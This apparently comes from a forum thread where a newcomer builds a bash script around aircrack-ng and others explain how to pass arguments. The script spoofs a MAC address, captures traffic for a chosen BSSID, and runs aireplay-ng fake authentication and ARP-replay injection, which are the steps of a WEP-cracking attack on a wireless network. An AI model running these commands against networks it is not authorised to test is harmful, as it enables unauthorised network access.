I'm confused by what you mean when you say "fake auth." Are you wanting to do something like airbase-ng functionality?
Ok, what im trying to do is write a script so i can put an option to put my eee into monitor mode and another one to put it back into managed mode. Also to run fake auth. My problem right now is trying to make it so i can put the fake auth option and the bssid into the command and have it show up in the code below so it can run correct, if that doesnt make sense then i dont know exactly how to explain it. If any one can help it would be greatly appreciated, also if anyone wants to nit pick my code im new to it and dont know exactly what im doing.
thank you all
also the code is not nearly done so dont think im done.
Code:#!/bin/bash echo hello welcome to DRK injection/deauth echo -i injection echo -d deauth echo -u undo inject if [ x"$1" == "x-i" ] then airmon-ng stop ath0 ifconfig wifi0 down macchanger --mac 00:11:22:33:44:55 wifi0 airmon-ng start wifi0 airodump-ng ath0 exit fi if [ x"$1" == "x-d" ] then airodump-ng -c 1 -w wep/belkinchop --bssid <bssid> ath0 exit fi if [ x"$1" == "x-u" ] then airmon-ng stop ath0 wlanconfig ath0 create wlandev wifi0 wlanmode sta iwconfig ath0 essid TRENDnet channel 3 ap ifconfig ath0 up exit fi
I'm confused by what you mean when you say "fake auth." Are you wanting to do something like airbase-ng functionality?
Actually in the script I have the fake auth command well i will when i can figure out how to type a line in the option and add it to the line
Basically i want to be able to run
./DRK.sh -d (bssid) and have it run the rest of the code adding (bssid) into
airodump-ng -c 1 -w wep/belkinchop --bssid (bssid) ath0
Does that make sense, I know its not fake auth yet im just trying to learn how to add external numbers into a script.
I hope that makes sense.
If you want something like this: ./DRK.sh <bssid>
then $0 is the name of your file (DRK.sh) and $1 will be the next arg (in this case, the bssid). If you want to add more, the next arg would be $2 and so on.
So, in your code try: airodump-ng -c 1 -w wep/belkinchop --bssid $1 ath0
Only thing I see relating to "auth" is "deauth" in your code. That's not the same thing.
Maybe I'm missing something here. But it looks like you're wanting to specify that you want to do a deauth based on a passed parameter, bssid in this case and then pass that parameter onto other commands as well.
Virchanza, you know bash, right?
Ok I tried it and it worked I redid my script tell me what you all think it works pretty good.
Also I cant get the code button to work sorry for the random tying not being in code.
#!/bin/bash
echo hello welcome to DRK injection/deauth
echo -i injection
echo -d run bssid scan
echo -f Fake auth
echo -u undo inject
if [ x"$1" == "x-i" ]
then
airmon-ng stop ath0
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
airodump-ng ath0
exit
fi
if [ x"$1" == "x-d" ]
then
airodump-ng $3 $4 -w wep/belkinchop --bssid $2 ath0
exit
fi
if [ x"$1" == "x-u" ]
then
airmon-ng stop ath0
wlanconfig ath0 create wlandev wifi0 wlanmode sta
iwconfig ath0 essid $2 channel $3 ap
ifconfig ath0 up
exit
fi
if [ x"$1" == "x-f" ]
then
aireplay-ng -1 0 -a $2 -h 00:11:22:33:44:55 ath0
aireplay-ng -3 -b $2 -h 00:11:22:33:44:55 ath0
exit
fi
If it works and you are happy with it, that is all that counts.
2 observations: I don't think you need all the "x"s in your if statements
if [ $1 == "-f" ] should work.
Also, you may want to echo the proper usage at the start of the script, just in case you forget later on:
echo Usage: $0 <bssid> <optional arg> <optional arg> (fill in your optional args to fit your needs)
thank you I am always up for help as i said im new and suck at this. I will put them in and edit it thanx again.